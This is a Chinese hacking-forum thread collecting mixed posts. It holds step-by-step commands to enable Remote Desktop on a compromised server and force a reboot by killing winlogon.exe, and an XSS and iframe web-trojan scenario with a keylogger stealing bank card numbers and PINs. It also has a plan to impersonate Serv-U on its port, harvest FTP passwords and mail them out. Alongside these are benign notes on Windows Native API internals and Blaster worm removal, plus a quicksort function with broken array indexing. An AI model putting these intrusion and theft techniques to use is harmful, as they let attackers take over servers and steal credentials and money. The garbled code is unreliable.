发新话题
打印

菜鸟升级一号专题(已完成)

快速排序函数

void QuickSort(String[] pData,int[] pDataNum,int left,int right)
      {
        int i,j;
        int iTemp;
        String middle,strTemp;
        i = left;
        j = right;
        middle = pData[(left+right)/2];
        do{
          while((pData.compareTo(middle)<0) && (i<right))
            i++;      
          while((pData[j].compareTo(middle))>0 && (j>left))
            j--;
          if(i<=j)
          {
            strTemp = pData;
            pData = pData[j];
            pData[j] = strTemp;
            
            iTemp = pDataNum;
            pDataNum = pDataNum[j];
            pDataNum[j] = iTemp;
            
            i++;
            j--;
          }
        }while(i<=j);//如果两边扫描的下标交错,就停止(完成一次)

        if(left<j)
          QuickSort(pData,pDataNum,left,j);

        if(right>i)
          QuickSort(pData,pDataNum,i,right);
      }

TOP

绿色开启终端的简单方法

210.21.209.159


今天介绍的这种开终端的方法,绿色,环保,无污染~~
不须上传任何文件开启终端的方法适合win2k,xp,2003.
本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~
在无须传任何文件的情况下开启终端服务。

一、win 2k下终端开启终端
首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:

echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!
比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
winlogon.exe被关闭后机器立刻强制重启了
命令执行格式为ntsd -c q -p PID
那如何知道winlogon.exe的PID进程号呢~
以下这个脚本可以列举当前所有进程的PID:

wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
wscript.echo ps.handle&vbtab&ps.name
next
在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:
echo wscript.echo "PID ProcessName">>1.vbe
echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
echo next>>1.vbe

生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。
运行1.vbe得到如下运行结果:

C:\WINNT\system32>cscript 1.vbe
cscript 1.vbe
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

PID ProcessName
0 System Idle Process
8 System
152 smss.exe
180 csrss.exe
200 winlogon.exe
228 services.exe
240 lsass.exe
424 svchost.exe
472 spoolsv.exe
512 msdtc.exe
616 svchost.exe
628 KAVSvc.EXE
660 llssrv.exe
692 nvsvc32.exe
728 regsvc.exe
748 MSTask.exe
776 alter.exe
900 svchost.exe
916 WinMgmt.exe
1088 Dfssvc.exe
484 Explorer.EXE
1444 mdm.exe
1340 Server.exe
1224 ibguard.exe
1252 KAVSvcUI.EXE
1256 ibserver.exe
1336 internat.exe
1204 Uspds.exe
720 bar.exe
1288 dllhost.exe
1580 inetinfo.exe
1672 cmd.exe
1464 pppoe.exe
1704 regedit.exe
316 cscript.exe

从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马

上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~


二、winxp和win2003终端开启

开启的REG文件代码如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
用以下ECHO代码写一个REG文件:
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
这样xp和2003开启终端是不用重启的如果你想改端口只需把上面的两个PortNumber对应的D3D改成相应十进制数的十六进制形式就可以了!用计算器转换吧。XP下不论开终端还是改终端端口都不需重启,真是太妙了~~呵呵。如果要关闭终闭只需把"fDenyTSConnections"=dword:00000000

改成"fDenyTSConnections"=dword:00000001

TOP

模拟盗取工行卡全过程

编者:这个漏洞应该早被补上了,发这个文章的目的,是要我们大家知道,在网络上,危险随时存在.

前些日子为了便于网络上的业务往来,我在当地工商银行办了一张牡丹灵通卡,开办了个人网上银行。对于工商银行网站http://www.icbc.com.cn的安全性我从来不去怀疑,也根本不去想象,更不敢随便探测了。由于我对这张卡的某些功能还不是太懂,于是登陆中国工商银行网站的论坛https://service.icbc.com.cn/bbs/index.jsp打算发贴询问一下。当我准备在个人网银版块发贴时,发现了一个令人吃惊的事实,论坛竟然允许直接用html格式来发贴。

众所周知,现在的论坛即使是免费的代码,为了安全性考虑,源代码就算是UBB代码也会书写得非常严格,不会给骇客任何注射或跨站的机会。工行银行的论坛允许注册用户直接书写html的话,骇客可能会利用这个功能来做什么呢?用来跨站拿版主的cookie?写恶意代码让看贴者死机?最恶毒的怕是写入一个网页木马获取你的工行卡卡号和密码了吧。也许工行论坛的html格式命令会限制发贴者所用的html标签?像限制一些javascript、<script>符号?我抱着试试看的态度,发了一个测试贴子,内容是<script>alert(documents.cookie)</script>,结果浏览器却令我失望地弹出了一个对话框,记录了我在工行论坛的session信息。

证明了我的猜测是错误的,工行论坛以html格式发贴时根本没有对html标签做任何的限制。我开始继续测试,又发了一个贴子,内容是<IFRAME src="http://www.icehack.com" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>,学过html语言的都知道,我在这个贴子里引用了一个框架网页,内容就是www.icehack.com

这里当然可以写入一个网页木马,而且让看贴者毫不知情,下面我来做一次模拟入侵过程。(我只是在本机测试,并没有在工行论坛上实际发过任何网页木马代码,这里只是说明工行论坛这个缺陷所带来的危害,请读者千万不要照做)我在工行论坛发了一个贴子,内容如下:<iframe src="mm.html" name="lcx" width="0" height="0" frameborder="0">这个mm.html就是一个网页木马了,我是用动鲨网页木马生成器生成,对没有打补丁的IE6.0都有效.

网页里所用到的木马我是用windropshell写得一个只有10几K的键盘记录器,可以直接登陆被害者机器,实时查看他的键盘录入,当然骇客也可以用别的记录器直接将键盘记录发送到指定的邮箱,像广外幽灵啦。然后我打开了我制做的网页木马,让我的电脑中了这个木马,此时我再去登陆工行网站的个人网银行,看看会发生什么。

KEYLOG程序清清楚楚记录了我的牡丹灵通卡的卡号和密码。
工行论坛的一个小小缺陷结合个人PC的不安全性竟然会带来如此大的恶果,这绝对是可能的。也许你听说过国外黑客盗取信用卡疯狂购物,好像离自己很遥远,其实骇客就在我们身边。总之一句话,个人PC安全绝对不能忽视,意识提高了,安全措施到位了,就可能避免意外地损失。

TOP

破解IE分级密码

可用编辑注册表的方法来找回密码,方法是在开始菜单的“运行”中键入“Regedit”命令打开注册表编辑器,随后找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Policies\Ratings主键,在此保存的键值就是IE属性对话框“内容”选项中的“分级审查”中的口令,右侧窗口中的“FileName0”和“Key”两个键值记录了该口令,且二进制的“Key”键值是经过加密的,去掉口令的方法是将Ratings下的这两个子键删除即可。以后再进入IE,就可以安全地进入分级审查了,并且可以跳过输入旧密码,直接输入新密码即可。

TOP

破解网页禁用鼠标右键

1,出现版权信息类的,破解方法:在页面目标上按下鼠标右键,弹出限制窗口,这时不要松开右键,将鼠标指针移到窗口的“确定”按钮上,同时按下左键。松开鼠标左键,限制窗口就被关闭了,再将鼠标移到目标上松开鼠标右键,哈哈,就这样弹出了鼠标右键菜单,限制被取消了!有成就感吧!

    2,出现“添加到收藏夹”的。破解方法:在目标上点鼠标右键,出现添加到收藏夹的窗口,不要松开右键,也不要移动鼠标,而是使用键盘的TAB键,移动到取消按钮上,按下空格键,这时窗口就消失了,松开右键看看,右键又恢复了!

    3,超链接无法用鼠标右键弹出“在新窗口中打开”菜单的。用这一招:在超链接上点击鼠标右键,弹出窗口,不要松开右键,按键盘上的空格键,窗口消失了,这时在松开右键,右键菜单便会出现,选择其中的“在新窗口中打开”就OK了

TOP

浅析本机API

此文只能说是一篇笔记,是关于本机API的.本机API是除了Win32 API,NT平台开放的另一个基本接口。本机API也被很多人所熟悉,因为内核模式模块位于更低的系统级别,在那个级别上环境子系统是不可见的。尽管如此,并不需要驱动级别去访问这个接口,普通的Win32程序可以在任何时候向下调用本机API。并没有任何技术上的限制,只不过微软不支持这种应用开发方法。  
    User32.dll,kernel32.dll,shell32.dll,gdi32.dll,rpcrt4.dll,comctl32.dll,advapi32.dll,version.dll等dll代表了Win32 API的基本提供者。Win32 API中的所有调用最终都转向了ntdll.dll,再由它转发至ntoskrnl.exe。ntdll.dll是本机 API用户模式的终端。真正的接口在ntoskrnl.exe里完成。事实上,内核模式的驱动大部分时间调用这个模块,如果它们请求系统服务。Ntdll.dll的主要作用就是让内核函数的特定子集可以被用户模式下运行的程序调用。Ntdll.dll通过软件中断int 2Eh进入ntoskrnl.exe,就是通过中断门切换CPU特权级。比如kernel32.dll导出的函数DeviceIoControl()实际上调用ntdll.dll中导出的NtDeviceIoControlFile(),反汇编一下这个函数可以看到,EAX载入magic数0x38,实际上是系统调用号,然后EDX指向堆栈。目标地址是当前堆栈指针ESP+4,所以EDX指向返回地址后面一个,也就是指向在进入NtDeviceIoControlFile()之前存入堆栈的东西。事实上就是函数的参数。下一个指令是int 2Eh,转到中断描述符表IDT位置0x2E处的中断处理程序。

反编汇这个函数得到:

mov eax, 38h

lea edx, [esp+4]

int 2Eh

ret 28h

当然int 2E接口不仅仅是简单的API调用调度员,他是从用户模式进入内核模式的main gate。

W2k Native API由248个这么处理的函数组成,比NT 4.0多了37个。可以从ntdll.dll的导出列表中很容易认出来:前缀Nt。Ntdll.dll中导出了249个,原因在于NtCurrentTeb()为一个纯用户模式函数,所以不需要传给内核。令人惊奇的是,仅仅Native API的一个子集能够从内核模式调用。而另一方面,ntoskrnl.exe导出了两个Nt*符号,它们不存在于ntdll.dll中: NtBuildNumber, NtGlobalFlag。它们不指向函数,事实上,是指向ntoskrnl.exe的变量,可以被使用C编译器extern关键字的驱动模块导入。Ntdll.dll和ntoskrnl.exe中都有两种前缀Nt*,Zw*。事实上ntdll.dll中反汇编结果两者是一样的。而在ntoskrnl.exe中,nt前缀指向真正的代码,而zw还是一个int 2Eh的stub。也就是说zw*函数集通过用户模式到内核模式门传递的,而Nt*符号直接指向模式切换以后的代码。Ntdll.dll中的NtCurrentTeb()没有相对应的zw函数。Ntoskrnl并不导出配对的Nt/zw函数。有些函数只以一种方式出现。

2Eh中断处理程序把EAX里的值作为查找表中的索引,去找到最终的目标函数。这个表就是系统服务表SST,C的结构SYSTEM_SERVICE_TABLE的定义如下:清单也包含了结构SERVICE_DESCRIPTOR_TABLE中的定义,为SST数组第四个成员,前两个有着特别的用途。

typedef NTSTATUS (NTAPI *NTPROC) ( ) ;

typedef NTPROC *PNTPROC;

#define NTPROC_ sizeof (NTPROC)

typedef struct _SYSTEM_SERVICE_TABLE

{ PNTPROC ServiceTable; // 这里是入口指针数组

PDWORD CounterTable; // 此处是调用次数计数数组

DWORD ServiceLimit ; // 服务入口的个数

PBYTE ArgumentTable; // 服务参数字节数的数组

) SYSTEM_SERVICE_TABLE ,

* PSYSTEM_SERVICE_TABLE ,

* * PPSYSTEM_SERVICE_TABLE ;

/ / _ _ _ _ _ _ _ _ _ _ _ _

typedef struct _SERVICE_DESCRIPTOR_TABLE

{ SYSTEM_SERVICE_TABLE ntoskrnl ; // ntoskrnl所实现的系统服务,本机的API}

SYSTEM_SERVICE_TABLE win32k; // win32k所实现的系统服务

SYSTEM_SERVICE_TABLE Table3; // 未使用

SYSTEM_SERVICE_TABLE Table4; // 未使用

} SERVICE_DESCRIPTOR_TABLE ,

* PSERVICE_DESCRIPTOR_TABLE,

* PPSERVICE_DESCRIPTOR_TABLE ;

ntoskrnl通过KeServiceDescriptorTable符号,导出了主要SDT的一个指针。内核维护另外的一个SDT,就是KeServiceDescriptorTableShadow。但这个符号没有导出。要想在内核模式组件中存取主要SDT很简单,只需两行C语言的代码:

extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

PSERVICE_DESCRIPTOR_TABLE psdt= KeServiceDescriptorTable;

NTPROC为本机 API的方便的占位符,他类似于Win32编程中的PROC。Native API正常的返回应该是一个NTSTATUS代码,他使用NTAPI调用约定,它和_stdcall一样。ServiceLimit成员有在ServiceTable数组里找到的入口数目。在2000下,默认值是248。ArgumentTable为BYTEs的数组,每一个对应于ServiceTable的位置并显示了在调用者堆栈里的参数比特数。这个信息与EDX结合,这是内核从调用者堆栈copy参数到自己的堆栈所需的。CounterTable成员在free buid的2000中并没有使用到,在debug build中,这个成员指向代表所有函数使用计数的DWORDS数组,这个信息能用于性能分析。
    可以使用这个命令来显示:dd KeServiceDescriptorTable,调试器把此符号解析为0x8046e0c0。只有前四行是最重要的,对应那四个SDT成员。
    运行这个命令:ln 8046e100,显示符号是KeServiceDescriptorTableShadow,说明第五个开始确实为内核维护的第二个SDT。主要的区别在于后一个包含了win32k.sys的入口,前一个却没有。在这两个表中,Table3与Table4都是空的。Ntoskrnl.exe提供了一个方便的API函数。这个函数的名字为:

    KeAddSystemServiceTable
此函数去填充这些位置。

2Eh的中断处理标记是KisystemService()。这也是ntoskrnl.exe没有导出的内部的符号,但包含在2k符号文件中。关于KisystemService的操作如下:

1 从当前的线程控制块检索SDT指针

2 决定使用SDT中4个SST的其中一个。通过测试EAX中递送ID的第12和13位来决定。ID在0x0000-0x0fff的映射至ntoskrnl表格,ID在

0x1000与0x1ffff的分配给win32k表格。剩下的0x2000-0x2ffff与

0x3000-0x3ffff则是Table3和Table4保留。

3 通过选定SST中的ServiceLimit成员检查EAX的0-11位。如果ID超过了范围,返回错误代码为STATUS_INVALID_SYSTEM_SERVICE。

4 检查EAX中的参数堆栈指针与MmUserProbeAddress。这是一个ntoskrnl导出的全局变量。通常等于0x7FFF0000,如果参数指针不在这个地址之下,返回STATUS_ACCESS_VIOLATION。

5 查找ArgumentTable中的参数堆栈的字节数,从调用者的堆栈copy所有的参数至当前内核模式堆栈。

6 搜索serviceTable中的服务函数指针,并调用这个函数。

7 控制转到内部的函数KiserviceExit,在此次服务调用返回之后。

从对SDT的讨论可以看到与本机API一起还有第二个内核模式接口。这个接口把Win32子系统的图形设备接口和窗口管理器和内核模式组件Win32k连接起来。Win32k接口一样是基于int 2eh。本机API的服务号是从0x0000到0x0fff,win32k的服务号是从0x1000到0x1fff。(ddW32pServiceTable认定win32k.sys的符号可用。)win32k总共包含639个系统服务。


2Eh的处理过程没有使用全局SDT KeServiceDescriptorTable。

而是一个与线程相关的指针。显然,线程可以有不同得SDT相关到自身。线程初试化的时候,KeInitializeThread()把KeServiceDescriptorTable写到线程的控制块。尽管这样,这个默认设置之后可能被改变为其它值,例如KeServiceDescriptorTableShadow。


Windows 2000运行时库

Ntdll.dll至少导出了不少于1179个符号。其中的249/248是属于Nt*/zw*集合。所以还有682个函数不是通过int 2eh门中转。很显然,这么多的函数不依靠2k的内核。

其中一些是和c运行时库几乎一样的函数。其实ntoskrnl也实现了一些类似C运行时库的一些函数。可以通过ddk里的ntdll.lib来链接和使用这些函数。反汇编ntdll.dll与ntoskrnl.exe的C运行时函数能发现,ntdll.dll并不是依赖ntoskrnl.exe。这两个模块各自实现了这些函数。

除了C运行时库外,2000还提供了一个扩展的运行时函数集合。再一次,ntdll.dll与ntoskrnl.exe各自实现了它们。同样,实现集合有重复,但是并不完全匹配。这个集合的函数都是以Rtl开头的。2000运行时库包括一些辅助函数用于C运行时候无法完成的任务。例如有些处理安全事务,另外的操纵2000专用的数据结构,还有些支持内存管理。微软仅仅在DDK中记录了很有用的406个函数中的115个函数。

Ntdll.dll还提供了另外一个函数集合,以__e前缀开头。实际上它们用于浮点数模拟器。

还有很多的函数集合,所有这些函数的前缀如下:

__e(浮点模拟),Cc(Cache管理),Csr(c/s运行时库),Dbg(调试支持),Ex(执行支持),FsRtl(文件系统运行时),Hal(硬件抽象层),Inbv(系统初试化/vga启动驱动程序bootvid.dll),Init(系统初试化),Interlocked(线程安全变量操作),Io(IO管理器),Kd(内核调试器支持),Ke(内核例程),Ki(内核中断处理),Ldr(映象装载器),Lpc(本地过程调用),Lsa(本地安全授权),Mm(内存管理),Nls(国际化语言支持),Nt(NT本机API),Ob(对象管理器),Pfx(前缀处理),Po(电源管理),Ps(进程支持),READ_REGISTER_(从寄存器地址读),Rtl(2k运行时库),Se(安全处理),WRITE_REGISTER_(写寄存器地址),Zw(本机API的替换叫法),<其它>(辅助函数和C运行时库)。

当编写从用户模式通过ntdll.dll或内核模式通过ntoskrnl.exe和2000内核交互的软件的时候,需要处理很多基本的数据结构,这些结构在Win32世界中很少见到。

常用数据结构

l     整数

ANSI字符是有符号的,而Unicode WCHAR是无符号的

MASM的TBYTE是80位的浮点数,用于高精度浮点运算单元操作,注意它与Win32的TBYTE(text byte)完全不同。

TABLE 2-3. Equivalent Integral Data Types

BITS    MASM   FUNDAMENTAL    ALIAS #1    ALIAS #2  SIGNED

8       BYTE    unsigned char  UCHAR                 CHAR
16      WORD    unsigned short USHORT     WCHAR      SHORT

32      DWORD   unsigned long  ULONG                 LONG

32      DWORD   unsigned int    UINT                 INT

64      QWORD   unsigned _int64 ULONGLONG DWORDLONG LONGLONG

80      TBYTE    N/A

typedef union _LARGE_INTEGER

{  struct{

ULONG LowPart;

LONG HighPart;};

LONGLONG QuadPart;

}

LARGE_INTEGER , * PULARGE_INTEGER ;

typedef union _ULARGE_INTEGER{

struct{

ULONG LowPart;

ULONG HighPart;}

ULONGLONG QuadPart;

}ULARGE_INTEGER, *PULARGE_INTEGER;

l     字符

    Win32编程中PSTR用户CHAR*,PWSTR用于WCHAR*。取决于是否定义了UNICODE,PTSTR解释为PSTR或者PWSTR。在2k内核模式下,常用的数据类型是UNICODE_STRING,而STRING用来表示ANSI字符串:

typedef struct _UNICODE_STRING{

USHORT Length; //当前字节长度,不是字符!!!

USHORT MaximumLength; //Buffer的最大字节长度

PWSTR Buffer;}UNICODE_STRING , * PUNICODE_STRING ;

typedef struct _STRING{

USHORT Length;

USHORT MaximumLength;

PCHAR Buffer;}STRING, *PSTRING;

typedef STRING ANSI_STRING, *PANSI_STRING;

typedef STRING OEM_STRING, *POEM_STRING;

  操纵函数:RtlCreatUnicodeString(),RtlInitUnicodeString(),

RtlCopyUnicodeString()等等

l     结构

许多内核API函数需要一个固定大小的OBJECT_ATTRIBUTES结构,比如NtOpenFile()。对象的属性是OBJ_*值的组合,可以从ntdef.h中查到。

IO_STATUS_BLOCK结构提供了所请求操作结果的信息,很简单,status成员包含一个NTSTATUS代码, 如果操作成功 information成员提供特定请求的信息。

还有一个结构是LIST_ENTRY,这是一个双向环链表。

typedef struct _OBJECT_ATTRIBUTES

{

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBDTES, *POBJECT_ ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK

{

NTSTATDS Status;

ULONG Information;

}IO_STATUS_BLOCK , * PIO_STATUS_BLOCK ;

typedef struct _LIST_ENTRY

{

Struct _LIST_ENTRY *Flink;

Struct _LIST_ENTRY *Blink;

}LIST_ENTRY, *PLIST_ENTRY;

双向链表的典型例子就是进程和线程链。内部变量PsActiveProcessHead是一个LIST_ENTRY结构,在ntoskrnl.exe的数据段中,指定了系统进程列表的第一个成员。

CLIENT_ID结构由进程和线程ID组成。

typedef struct _CLIENT_ID

{ HANDLE UniqueProcess;

HANDLE UniqueThread;

)CLIENT_ID, *PCLIENT_ID;

想要从用户模式调用ntdll.dll中的API函数,必须考虑到以下四点:

1 SDK头文件没有包括这些函数的原型

2 这些函数使用的若干基本数据类型没有包括在SDK文件中

3 SDK和DDK头文件不兼容,不能在win32的c源文件包含ntddk.h中

4 ntdll.lib没有包括在VC的默认导入库列表中。

第4个很容易解决:#progma comment(linker,“/defaultlib:ntdll.lib”)

缺失的定义比较难解决,最简单的方法是写一个自定义的头文件,刚刚包含需要调用ntdll.dll中函数的定义。幸运的是,已经在光盘的w2k_def.h文件中做了这个工作。因为这个头文件将用于用户模式和内核模式程序,所以必须在用户模式代码中,#include<w2k_def.h>之前#define _USER_MODE_,使得DDK中出现而SDK中没有的定义可用。


本文部分翻译于一篇电子书<win api about>.也感谢朋友GameHunter这位英语极好的朋友帮忙.与Free的指导

TOP

清除“冲击波”病毒

三个步骤清除“冲击波”病毒(手工应急清除方案)推荐使用瑞星专杀工具

  (草稿,供已经中毒的用户救急。详细方案请关注瑞星网站首页)

第一步:终止恶意程序

打开Windows任务管理器,按CTRL+ALT+DELETE然后单击进程选项卡
在运行的程序清单中*, 查找如下进程:MSBLAST.EXE

选择恶意程序进程,然后按“终止任务”或是“中止进程”按钮。
为确认恶意程序进程是否中止,请关闭任务管理器并再次打开看进程是否已经终止。

关闭任务管理器。


第二步:删除注册表中的自启动项目

删除注册表中的自启动项目可以阻止恶意程序在系统启动时运行

单击 开始>运行, 输入 Regedit, 然后按 Enter 键打开注册表管理器
在左边的列表中双击以下项目:
HKEY_LOCAL_MACHINE>Software>Microsoft>
Windows>CurrentVersion>Run
在右边的列表中查找并删除以下项目
Windows auto update" = MSBLAST.EXE
关闭注册表编辑器
注意: 如果之前没有终止恶意程序进程,请重启您的系统


第三步:安装微软提供的补丁


Microsoft Security Bulletin MS03-026


建议用户对135端口的访问进行过滤,使得只能进行受信任以及内部的站点访问。 更多详情请参阅微软发布的漏洞报告

http://www.microsoft.com/china/t ... lletin/MS03-026.asp



1、先在任务管理器中将 msblast.exe 进程杀掉,之后将windows安装目录下的system32文件夹下的msblast.exe删除
2、运行SERVICES.MSC找到remote procedure call(RPC).并双击
然后在恢复选项卡里面选择,恢复,选择服务失败时的计算机反映,并将第一次失败、第二次失败、第三次失败的选项选择为不操作
中文2000补丁(SP2以上)
http://218.29.0.250/Windows2000-KB823980-x86-CHS.exe

中文XP(破解的不要装)
http://218.29.0.250/WindowsXP-KB823980-x86-CHS.exe

中文2003补丁
http://218.29.0.250/WindowsServer2003-KB823980-x86-CHS.exe





 

自动登录Windows 2000系统的两则技巧


--------------------------------------------------------------------------------
发表时间:2003-8-16 23:20:49 来源:黑客基地  点击 178 次


个人用户在使用Windows 2000时,每次登录都会弹出登录对话框,要求输入用户名和密码,非常麻烦。我们可以将系统设置为自动登录,步骤如下:

  一、设置缺省的用户名



  在“运行”对话框中输入“regedt32.exe”,打开注册表编辑器。选择窗口菜单项中



  
的“HKEY_LOCAL_MACHINE”窗口,在左边的目录树中找到“SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon”子项,单击后在右边窗口中找到“DefaultUserName”条目,双击后更改为你希望系统自动登录时使用的用户名称(前提是这个用户必须存在)。



  二、设置缺省的用户口令



  同样在右边的窗口中找到“DefaultPassword”条目,双击更改为DefaultUserName中的用户使用的口令(如果“DefaultPassword”条目不存在,就需要选择“编辑→添加值”创建该条目)。



  设置完成缺省用户口令后,就可以设置自动登录了。在“SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon”子项中,找到“AutoAdminLogon”条目,双击更改该值为1时,系统使用缺省的用户名和密码自动登录;该值为0时,需要用户手工登录。

TOP

取得最高权限

利用ftp服务程序本身设计的"缺陷"取得最高权限


ps:来自幻影的一篇精华文章,思路很好,值得推荐!!!!

一台虚拟主机,NTFS文件系统,主机主要运行的服务为IIS和Serv-U.已经通过允许上传asp文件并执行那些as文件的问题得到了一般的user权限.由于管理员对目录的设置比较安全,只有C盘的根目录具有写权限,其它目录都只有读的权限.由于配置的安全性,用自己的后门程序替换掉服务启动的程序那一招已经不灵了,向Serv-U的配置文件加入一个有执行权限的帐户这一招也行不通了.入侵的那位朋友已经试过多种方法,没有一个可行的方法,于是他将这台入侵了一小半的系统pass给了我,看我有没有方法解决.
(这位朋友一天除了吃饭和睡觉外,就在对着电脑到处找新漏洞入侵系统,经常有些稀奇古怪的系统给我看)

解决方案是从serv-u那里想办法,因为那位朋友也试过好几种方法了,那些方法
1.上传个autorun.inf和后门上去硬盘根目录,(如果系统允许autorun的话,管理员看根目录时就会执行autorun.inf里定义的程序)
2.上传后门到硬盘根目录,改名为explorer.exe(很久的东西,windows搜索文件时是先从根目录先搜起的,如果在根目录先搜到,就执行那个文件.如果系统还存在这问题,如果管理员双击"我的电脑",就会执行了根目录下的那个后门的explorer.exe)
3.还有其它他想到的古怪方法都试过了,一样是没办法得到最高权限

系统应该已经打上最新的补丁了,用多个扫描器扫描iis也没有发现到什么漏洞,而且基本就是iis和serv-u这两个服务可利用,iis是没办法的了,只有从serv-u中下手.

系统中已运行一个user权限启动的小后门,只是得到个user限的shell.进去后查看了一下系统的配置和安装了的程序等等,发现了也只能在Serv-U那里动手脚了.Serv-U是4.1版本的,里面有5个帐号,有两个帐号的是有写权限的,并且root目录是在c:\下(通过查看serv-u的那个ini配置文件得知帐户的信息) ,如果能拿到其中一个帐号的密码,我们就具有写权限了.关键是如何得到那两个帐号的密码.

有人会想到破密码,这里最原始而且是在没有任何办法时才会试的办法,当然你不要期待有什么高的成功机会了,大家都应该Serv-u的帐号的密码是用什么算法加密的了,而且也应该知道那种加密算法用最快的破解程序,如果要穷举一个只是8位长度的密码是需要多长时间的.所以不要先想着破密码了.

要得到登陆serv-u的用户的密码,有人想到嗅探的方法,这当然是一个好方法,不过得先想想自己所处的权限(只是一般的user权限),根本不足以执行绑入网卡进行的无驱动的的嗅探程序(已测试过,证实不行的了) .

嗅探不行,突然想到shatter attack(有兴趣的朋友可以看看 http://security.tombom.co.uk/shatter.html ),但看到
了"Any application on a given desktop can send a message to any window on the same desktop"这句, 我是从命令行进去用user权限运行的一个shell,似乎没有处于任何桌面,所以应该不能将信息发到serv-u的tray monitor中去.在测试前我先发了信到serv-u的help center中询问,主要是询问serv-u的4.1版本是否可以受shatter attack所影响, 收到的回复是4.1版本不会接收以不同权限发过来的信息,serv-u的tray monitor是登陆的管理员权限执行的,而我只是user权限,这已经很清楚说明了是不可能的,而且我也从来没有研究和测试过shatter attack,
所以还是先放弃了.

想来想去都没想到什么好的方法,已经打算不想的了,但在洗澡时却突然想到serv-u打开的端口是允许重绑的(不知道是什么原因,很多好的idea都是在洗澡时想到的,包括很多编程时遇到的问题有时都是在洗澡时想到解决方法的) .能够重绑端口,这样我就可以写一个程序,绑入serv-u打开的端口,那么连接到serv-u端口的验证信息就会被我的程序所得到,这样就有可能得到我所需要的帐号的用户名和密码了. 当然这个程序要"扮"得很像serv-u,例如收到连接时发送的是serv-u的正确banner,连接用户发送了用户名来时,程序也要象serv-u那样发个"331 User name okay, need password."的信息要求输出密码, 当用户输出密码后,程序就给连接者发送一个信息,大致是说连接者的IP是不允许登陆的,然后就断开连接者. 为了不被管理员察觉到问题,程序在得到那两个有用的帐号的其中一个的密码后,就会从内存中退出,这样原来的serv-u就能继续正常的工作,当然程序在退出前会将得到的帐号和密码发到我的hotmail的信箱中去.为了保险点,将帐号和密码备份写入到硬盘的一个文件中去(以防hotmail的服务有时中断无法接到邮件).

